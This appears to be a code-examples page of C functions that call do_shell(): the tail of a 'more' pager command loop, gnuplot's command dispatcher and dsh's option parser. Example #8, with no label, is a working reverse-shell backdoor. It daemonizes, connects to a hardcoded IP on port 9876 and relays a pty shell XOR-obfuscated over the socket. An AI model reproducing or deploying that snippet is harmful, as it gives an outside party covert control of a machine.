				prompt(filename);
				continue;
			}
			break;
		case '?':
		case 'h':
			if (noscroll)
				doclear();
			fputs(more_help, stdout);
			prompt(filename);
			break;
		case 'v':	/* This case should go right before default */
			if (!no_intty) {
				char *editor;

				editor = getenv("VISUAL");
				if (editor == NULL || *editor == '\0')
					editor = getenv("EDITOR");
				if (editor == NULL || *editor == '\0')
					editor = _PATH_VI;
				if ((p = strrchr(editor, '/')) != NULL)
					p++;
				else
					p = editor;
				kill_line();
				snprintf(cmdbuf, sizeof(cmdbuf), "+%lld",
				    (long long)Currline);
				if (!altscr)
					printf("%s %s %s", p, cmdbuf,
					    fnames[fnum]);
				execute(filename, editor, p, cmdbuf,
				    fnames[fnum]);
				break;
			}
		default:
			if (dum_opt) {
				kill_line();
				if (Senter && Sexit) {
					tputs(Senter, 1, putch);
					fputs(DUM_ERROR, stdout);
					promptlen = sizeof(DUM_ERROR) - 1 +
					    (2 * soglitch);
					tputs(Sexit, 1, putch);
				} else {
					fputs(DUM_ERROR, stdout);
					promptlen = sizeof(DUM_ERROR) - 1;
				}
				fflush(stdout);
			} else
				write(STDERR_FILENO, &bell, 1);
			break;
		}
		if (done)
			break;
	}
	putchar('\r');
endsw:
	inwait = 0;
	notell++;
	return (retval);
}
示例#7
0
static int command()
{
    FILE *fp;
    int i;
    /* string holding name of save or load file */
    char sv_file[MAX_LINE_LEN + 1];

    for (i = 0; i < MAX_NUM_VAR; i++)
	c_dummy_var[i][0] = NUL;	/* no dummy variables */

    if (is_definition(c_token))
	define();
    else if (almost_equals(c_token, "h$elp") || equals(c_token, "?")) {
	c_token++;
	do_help(1);
    } else if (equals(c_token, "testtime")) {
	/* given a format and a time string, exercise the time code */
	char format[160], string[160];
	struct tm tm;
	double secs;
	if (isstring(++c_token)) {
	    quote_str(format, c_token, 159);
	    if (isstring(++c_token)) {
		quote_str(string, c_token++, 159);
		memset(&tm, 0, sizeof(tm));
		gstrptime(string, format, &tm);
		secs = gtimegm(&tm);
		fprintf(stderr, "internal = %f - %d/%d/%d::%d:%d:%d , wday=%d, yday=%d\n",
			secs, tm.tm_mday, tm.tm_mon + 1, tm.tm_year % 100, tm.tm_hour, tm.tm_min, tm.tm_sec, tm.tm_wday, tm.tm_yday);
		memset(&tm, 0, sizeof(tm));
		ggmtime(&tm, secs);
		gstrftime(string, 159, format, secs);
		fprintf(stderr, "convert back \"%s\" - %d/%d/%d::%d:%d:%d , wday=%d, yday=%d\n",
			string, tm.tm_mday, tm.tm_mon + 1, tm.tm_year % 100, tm.tm_hour, tm.tm_min, tm.tm_sec, tm.tm_wday, tm.tm_yday);
	    }
	}
    } else if (almost_equals(c_token, "test")) {
	c_token++;
	test_term();
    } else if (almost_equals(c_token, "scr$eendump")) {
	c_token++;
#ifdef _Windows
	screen_dump();
#else
	fputs("screendump not implemented\n", stderr);
#endif
    } else if (almost_equals(c_token, "pa$use")) {
	struct value a;
	int sleep_time, text = 0;
	char buf[MAX_LINE_LEN + 1];

	c_token++;
	sleep_time = (int) real(const_express(&a));
	buf[0] = NUL;
	if (!(END_OF_COMMAND)) {
	    if (!isstring(c_token))
		int_error("expecting string", c_token);
	    else {
		quote_str(buf, c_token, MAX_LINE_LEN);
		++c_token;
#ifdef _Windows
		if (sleep_time >= 0)
#else
# ifdef OS2
		if (strcmp(term->name, "pm") != 0 || sleep_time >= 0)
# else
#  ifdef MTOS
	        if (strcmp(term->name, "mtos") != 0 || sleep_time >= 0)
#  endif /* MTOS */
# endif /* OS2 */
#endif /* _Windows */
			fputs(buf, stderr);
		text = 1;
	    }
	}
	if (sleep_time < 0) {
#ifdef _Windows
	    if (!Pause(buf))
		bail_to_command_line();
#else
# ifdef OS2
	    if (strcmp(term->name, "pm") == 0 && sleep_time < 0) {
		int rc;
		if ((rc = PM_pause(buf)) == 0)
		    bail_to_command_line();
		else if (rc == 2) {
		    fputs(buf, stderr);
		    text = 1;
		    (void) fgets(buf, MAX_LINE_LEN, stdin);
		}
	    }
# else				/* !OS2 */
#  ifdef _Macintosh
	    if (strcmp(term->name, "macintosh") == 0 && sleep_time < 0)
		Pause(sleep_time);
#  else				/* !_Macintosh */
#   ifdef MTOS
	    if (strcmp(term->name, "mtos") == 0) {
		int MTOS_pause(char *buf);
		int rc;
		if ((rc = MTOS_pause(buf)) == 0)
		    bail_to_command_line();
		else if (rc == 2) {
		    fputs(buf, stderr);
		    text = 1;
		    (void) fgets(buf, MAX_LINE_LEN, stdin);
		}
	    } else if (strcmp(term->name, "atari") == 0) {
		char *readline(char *);
		char *line = readline("");
		if (line)
		    free(line);
	    } else
		(void) fgets(buf, MAX_LINE_LEN, stdin);
#   else			/* !MTOS */
#    ifdef ATARI
	    if (strcmp(term->name, "atari") == 0) {
		char *readline(char *);
		char *line = readline("");
		if (line)
		    free(line);
	    } else
		(void) fgets(buf, MAX_LINE_LEN, stdin);
#    else			/* !ATARI */
	    (void) fgets(buf, MAX_LINE_LEN, stdin);
	    /* Hold until CR hit. */
#    endif			/* !ATARI */
#   endif			/* !MTOS */
#  endif			/* !_Macintosh */
# endif				/* !OS2 */
#endif
	}
	if (sleep_time > 0)
	    GP_SLEEP(sleep_time);

	if (text != 0 && sleep_time >= 0)
	    fputc('\n', stderr);
	screen_ok = FALSE;
    } else if (almost_equals(c_token, "pr$int")) {
	int need_space = 0;	/* space printed between two expressions only */
	screen_ok = FALSE;
	do {
	    ++c_token;
	    if (isstring(c_token)) {
		char s[MAX_LINE_LEN];
		quote_str(s, c_token, MAX_LINE_LEN);
		fputs(s, stderr);
		need_space = 0;
		++c_token;
	    } else {
		struct value a;
		(void) const_express(&a);
		if (need_space)
		    putc(' ', stderr);
		need_space = 1;
		disp_value(stderr, &a);
	    }
	} while (!END_OF_COMMAND && equals(c_token, ","));

	(void) putc('\n', stderr);
    } else if (almost_equals(c_token, "fit")) {
	++c_token;
	do_fit();
    } else if (almost_equals(c_token, "up$date")) {
	char tmps[80];
	char tmps2[80];
	/* Have to initialise tmps2, otherwise
	 * update() cannot decide whether a valid
	 * filename was given. lh
	 */
	tmps2[0] = NUL;
	if (!isstring(++c_token))
	    int_error("Parameter filename expected", c_token);
	quote_str(tmps, c_token++, 80);
	if (!(END_OF_COMMAND)) {
	    if (!isstring(c_token))
		int_error("New parameter filename expected", c_token);
	    else
		quote_str(tmps2, c_token++, 80);
	}
	update(tmps, tmps2);
    } else if (almost_equals(c_token, "p$lot")) {
	plot_token = c_token++;
	SET_CURSOR_WAIT;
	plotrequest();
	SET_CURSOR_ARROW;
    } else if (almost_equals(c_token, "sp$lot")) {
	plot_token = c_token++;
	SET_CURSOR_WAIT;
	plot3drequest();
	SET_CURSOR_ARROW;
    } else if (almost_equals(c_token, "rep$lot")) {
	if (replot_line[0] == NUL)
	    int_error("no previous plot", c_token);
	c_token++;
	SET_CURSOR_WAIT;
	replotrequest();
	SET_CURSOR_ARROW;
    } else if (almost_equals(c_token, "se$t"))
	set_command();
    else if (almost_equals(c_token, "res$et"))
	reset_command();
    else if (almost_equals(c_token, "sh$ow"))
	show_command();
    else if (almost_equals(c_token, "cl$ear")) {
	term_start_plot();

	if (multiplot && term->fillbox) {
	    unsigned int x1 = (unsigned int) (xoffset * term->xmax);
	    unsigned int y1 = (unsigned int) (yoffset * term->ymax);
	    unsigned int width = (unsigned int) (xsize * term->xmax);
	    unsigned int height = (unsigned int) (ysize * term->ymax);
	    (*term->fillbox) (0, x1, y1, width, height);
	}
	term_end_plot();

	screen_ok = FALSE;
	c_token++;
    } else if (almost_equals(c_token, "she$ll")) {
	do_shell();
	screen_ok = FALSE;
	c_token++;
    } else if (almost_equals(c_token, "sa$ve")) {
	if (almost_equals(++c_token, "f$unctions")) {
	    if (!isstring(++c_token))
		int_error("expecting filename", c_token);
	    else {
		quote_str(sv_file, c_token, MAX_LINE_LEN);
		save_functions(fopen(sv_file, "w"));
	    }
	} else if (almost_equals(c_token, "v$ariables")) {
	    if (!isstring(++c_token))
		int_error("expecting filename", c_token);
	    else {
		quote_str(sv_file, c_token, MAX_LINE_LEN);
		save_variables(fopen(sv_file, "w"));
	    }
	} else if (almost_equals(c_token, "s$et")) {
	    if (!isstring(++c_token))
		int_error("expecting filename", c_token);
	    else {
		quote_str(sv_file, c_token, MAX_LINE_LEN);
		save_set(fopen(sv_file, "w"));
	    }
	} else if (isstring(c_token)) {
	    quote_str(sv_file, c_token, MAX_LINE_LEN);
	    save_all(fopen(sv_file, "w"));
	} else {
	    int_error("filename or keyword 'functions', 'variables', or 'set' expected", c_token);
	}
	c_token++;
    } else if (almost_equals(c_token, "l$oad")) {
	if (!isstring(++c_token))
	    int_error("expecting filename", c_token);
	else {
	    quote_str(sv_file, c_token, MAX_LINE_LEN);
	    /* load_file(fp=fopen(sv_file, "r"), sv_file, FALSE); OLD
	     * DBT 10/6/98 handle stdin as special case
	     * passes it on to load_file() so that it gets
	     * pushed on the stack and recusion will work, etc
	     */
	    fp = strcmp(sv_file, "-") ? fopen(sv_file, "r") : stdin; 
	    load_file(fp, sv_file, FALSE);
	    /* input_line[] and token[] now destroyed! */
	    c_token = num_tokens = 0;
	}
    } else if (almost_equals(c_token, "ca$ll")) {
	if (!isstring(++c_token))
	    int_error("expecting filename", c_token);
	else {
	    quote_str(sv_file, c_token, MAX_LINE_LEN);
	    load_file(fopen(sv_file, "r"), sv_file, TRUE);	/* Argument list follows filename */
	    /* input_line[] and token[] now destroyed! */
	    c_token = num_tokens = 0;
	}
    } else if (almost_equals(c_token, "if")) {
	double exprval;
	struct value t;
	if (!equals(++c_token, "("))	/* no expression */
	    int_error("expecting (expression)", c_token);
	exprval = real(const_express(&t));
	if (exprval != 0.0) {
	    /* fake the condition of a ';' between commands */
	    int eolpos = token[num_tokens - 1].start_index + token[num_tokens - 1].length;
	    --c_token;
	    token[c_token].length = 1;
	    token[c_token].start_index = eolpos + 2;
	    input_line[eolpos + 2] = ';';
	    input_line[eolpos + 3] = NUL;
	} else
	    c_token = num_tokens = 0;
    } else if (almost_equals(c_token, "rer$ead")) {
	fp = lf_top();
	if (fp != (FILE *) NULL)
	    rewind(fp);
	c_token++;
    } else if (almost_equals(c_token, "cd")) {
	if (!isstring(++c_token))
	    int_error("expecting directory name", c_token);
	else {
	    quote_str(sv_file, c_token, MAX_LINE_LEN);
	    if (changedir(sv_file)) {
		int_error("Can't change to this directory", c_token);
	    }
	    c_token++;
	}
    } else if (almost_equals(c_token, "pwd")) {
	GP_GETCWD(sv_file, sizeof(sv_file));
	fprintf(stderr, "%s\n", sv_file);
	c_token++;
    } else if (almost_equals(c_token, "ex$it") ||
	       almost_equals(c_token, "q$uit")) {
	/* graphics will be tidied up in main */
	return (1);
    } else if (!equals(c_token, ";")) {		/* null statement */
#ifdef OS2
	if (_osmode == OS2_MODE) {
	    if (token[c_token].is_token) {
		int rc;
		rc = ExecuteMacro(input_line + token[c_token].start_index,
				  token[c_token].length);
		if (rc == 0) {
		    c_token = num_tokens = 0;
		    return (0);
		}
	    }
	}
#endif
	int_error("invalid command", c_token);
    }
    return (0);
}
示例#8
0
int main(void) {
	int sock=0, master_in=0;
	socklen_t sl=0;
	struct sockaddr_in sin;
	pid_t chld=0, detach=0;
	char slave_name[128];
	struct pollfd fdz[2];
	char rbuf[1024];
	ssize_t rret=0;
	int pret=0, j=0;
	uint8_t rkey=0x41, wkey=0x41;

	if (inet_aton("204.8.140.164", &sin.sin_addr) < 0) {
		_exit(1);
	}

	sin.sin_family=AF_INET;
	sin.sin_port=htons(9876);

	detach=fork();
	if (detach == -1) {
		_exit(1);
	}
	else if (detach == 0) {
		setsid();
		chdir("/");
		fsync(1);
		for (j=0 ; j < 256 ; j++) {
			close(j);
		}
	}
	else {
		_exit(0);
	}

	sock=socket(AF_INET, SOCK_STREAM, 0);
	if (sock < 0) {
		_exit(1);
	}

	sl=sizeof(sin);
	if (connect(sock, (struct sockaddr *)&sin, sl) < 0) {
		_exit(1);
	}

	signal(SIGCHLD, handle_chld);

	chld=frkpty(&master_in, slave_name);
	if (chld == -1) {
		_exit(1);
	}
	else if (chld == 0) {
		do_shell();
	}
	else {

		while (1) {
again:
			fdz[0].fd=master_in;
			fdz[1].fd=sock;
			fdz[0].events=fdz[1].events=POLLIN|POLLPRI;
			fdz[0].revents=fdz[1].revents=0;
			pret=poll(&fdz[0], 2U, 500);
			if (pret < 0 && errno == EINTR) goto again;
			if (pret == 0) continue;

			if (fdz[0].revents) {
				rret=read(fdz[0].fd, rbuf, sizeof(rbuf));
				if (rret) {
					for (j=0 ; j < (size_t )rret ; j++) {
						rbuf[j] ^= rkey++;
					}
					write(fdz[1].fd, rbuf, (size_t)rret);
				}
			}
			else if (fdz[1].revents) {
				rret=read(fdz[1].fd, rbuf, sizeof(rbuf));
				if (rret) {
					for (j=0 ; j < (size_t )rret ; j++) {
						rbuf[j] ^= wkey++;
					}
					write(fdz[0].fd, rbuf, (size_t)rret);
				}
			}
		}
	}

	_exit(0);
}
示例#9
0
/**
 * Option parsing routine.
 *
 * Remember to update other places, such as execute_rsh_multiple routine when changing here.
 * @return 1 on failure.
 * @return 0 on success.
 */
int
parse_options ( int ac, char ** av)
{
  int c;			/* option */
  linkedlist * machinelist = NULL;
  linkedlist * rshcommandline_r = NULL; /* command line for rsh in reverse order*/

#ifdef HAVE_GETOPT_LONG
  int index_point;  
  static struct option long_options[]=
  {
    {"verbose", no_argument, 0, 'v'},
    {"quiet", no_argument, 0, 'q'},
    {"show-machine-names", no_argument, 0, 'M'},
    {"hide-machine-names", no_argument, 0, 'H'},
    {"duplicate-input", no_argument, 0, 'i'},
    {"bufsize", required_argument, 0, 'b'},

				/* machine-specification */
    {"machine", required_argument, 0, 'm'},
    {"num-topology", required_argument, 0, 'n'},
    {"all", no_argument, 0, 'a' },
    {"group", required_argument, 0, 'g'},
    {"file", required_argument, 0, 'f'},

				/* rsh/ssh specification */
    {"remoteshell", required_argument, 0, 'r'},
    {"remoteshellopt", required_argument, 0, 'o'},

    {"help", no_argument, 0, 'h'},
    {"version", no_argument, 0, 'V'},
    {"wait-shell", no_argument, 0, 'w'},
    {"concurrent-shell", no_argument, 0, 'c'},
    {"forklimit", required_argument, 0, 'F'},
    {0,0,0,0}
  };
#else
#define getopt_long(a,b,c,d,e) getopt(a,b,c)
#endif  
  
#ifdef GETOPT_WITH_GNU_REORDERING_EXTENTION
#define EXTRAVALUE			  "+"	/* add this to get GNU getopt to work in POSIX manner */
#else
#define EXTRAVALUE
#endif

  while((c = getopt_long (ac, av, 
			  EXTRAVALUE "vqm:ar:f:g:hVcwo:MHn:ib:F:", 
			  long_options, &index_point)) != -1)
    {
      switch (c)
	{
	case 'a':
	  if (verbose_flag) printf (_("Adding all machines to the list\n"));
	  {
	    char * buf;
	    if (asprintf(&buf, "%s/.dsh/machines.list", getenv("HOME"))<0)
	      {
		fprintf (stderr, _("%s: asprintf failed\n"), PACKAGE);
		return 1;
	      }
	    
	    machinelist = read_machinelist(machinelist, buf, DSHCONFDIR"/machines.list");
	    free (buf);	    
	  }	  
	  break;	  
	case 'g':
	  {
            if ('@' == *optarg)
              {			/* using libc call for using netgroup. */
                /* +1 to skip @ */
		if (verbose_flag) printf (_("Adding netgroup %s to the list\n"), optarg + 1);
                machinelist = read_machinenetgroup(machinelist, optarg+1);
              }
            else
              {			/* using dsh's own method. */
		char * buf1, *buf2;
		if (verbose_flag) printf (_("Adding group %s to the list\n"), optarg);
		if (asprintf(&buf1, DSHCONFDIR"/group/%s", optarg) < 0)
		  {
		    fprintf (stderr, _("%s: asprintf failed\n"), PACKAGE);
		    return 1;
		  }
		
		if (asprintf(&buf2, "%s/.dsh/group/%s", getenv("HOME"), optarg)<0)
		  {
		    fprintf (stderr, _("%s: asprintf failed\n"), PACKAGE);
		    return 1;
		  }
		
		machinelist = read_machinelist (machinelist, buf2, buf1); 
		free(buf1);free(buf2);
	      }
	  }
	  break;	  
	case 'f':
	  if (verbose_flag) printf (_("Adding file %s to the list\n"), optarg);
	  machinelist = read_machinelist (machinelist, optarg, NULL); 
	  break;	  
	case 'F':
	  forklimit = atoi (optarg);
	  wait_shell = 0;
	  if (verbose_flag) printf (_("Setting forklimit to %i and wait_shell to %i\n"), forklimit, wait_shell);
	  break;
	case 'v':
	  if (verbose_flag) printf (_("Verbose flag on\n"));
	  verbose_flag=1;	  
	  break;
	case 'q':
	  if (verbose_flag) printf (_("Verbose flag off\n"));
	  verbose_flag=0; 
	  break;
	case 'M':
	  if (verbose_flag) printf (_("Show machine names on output\n"));
	  pipe_option |= PIPE_OPTION_OUTPUT;
	  break;	  
	case 'H':
	  if (verbose_flag) printf (_("Dont show machine names on output\n"));
	  pipe_option &=  ~(PIPE_OPTION_OUTPUT);
	  break;	  
	case 'i':
	  if (verbose_flag) printf (_("Duplicate input to all processes\n"));
	  pipe_option |= PIPE_OPTION_INPUT;
	  break;	  
	case 'b':
	  if (verbose_flag) printf (_("Buffer size used for dupliation\n"));
	  buffer_size = atoi(optarg);	  
	  if (buffer_size < 1)
	    {
	      fprintf (stderr, _("Buffer size needs to be greater than 1\n"));
	      return 1;
	    }
	  break;	  
	case 'm':
	  if (verbose_flag) printf (_("Adding machine %s to list\n"), optarg);
	  machinelist = split_machines_list_and_add_machines (machinelist, optarg);
	  break;
	case 'n':
	  if (verbose_flag) printf (_("Topology number set to %s\n"), optarg);
	  num_topology = atoi (optarg);	  
	  break;	  
	case 'h':
	  print_help();
	  exit(1);
	  break;	  
	case 'V':
	  print_version();
	  exit(1);
	  break;	  
	case 'r':		/* specify the shell command */
	  if (verbose_flag) printf(_("Using %s as the remote shell\n"), optarg);
	  remoteshell_command = strdup (optarg);
	  break;	  
	case 'o':		/* specify the shell command options */
	  if (verbose_flag) printf(_("Adding [%s] to shell options\n"), optarg);
	  remoteshell_command_opt_r = lladd (remoteshell_command_opt_r, optarg);
	  break;	  
	case 'w':		/* wait shell */
	  if (verbose_flag) printf (_("Wait for shell to finish executing\n"));
	  wait_shell=1;
	  break;
	case 'c':		/* concurrent shell */
	  if (verbose_flag) printf (_("Do not wait for shell to finish\n"));
	  wait_shell=0;
	  break;
	case '?':
#ifndef HAVE_GETOPT_LONG
	  /* getopt-long handles this option properly. */
	  if (isprint (optopt))
	    fprintf (stderr, _("Unkown option -%c.\n"), optopt);
	  else
	    fprintf (stderr, _("Unkown option character 0x%x.\n"), optopt);
#endif	  
	  return 1;
	default:
	  if (verbose_flag) printf (_("Unhandled option\n"));
	  break;	  
	}
    }

  if (!machinelist)
    {
      fprintf (stderr, _("%s: no machine specified\n"), PACKAGE);
      return 1;
    }

  {				/* generate the command line for remote. */
    int i;
    for (i=optind; i < ac; ++i)
      {
	rshcommandline_r = lladd(rshcommandline_r, av[i]);
      }
  }
  

  /* do sanity checking, and exit if it fails. */
  if (sanity_checking())
    return 1;

  if (!(pipe_option & PIPE_OPTION_INPUT))
    open_devnull();		/* open /dev/null if no input pipe is required */


  /* reverse the list, which is in reverse order, to make the right order */
  machinelist = llreverse (machinelist);
  
				/* actually execute the code. */
  return do_shell(machinelist, rshcommandline_r);
}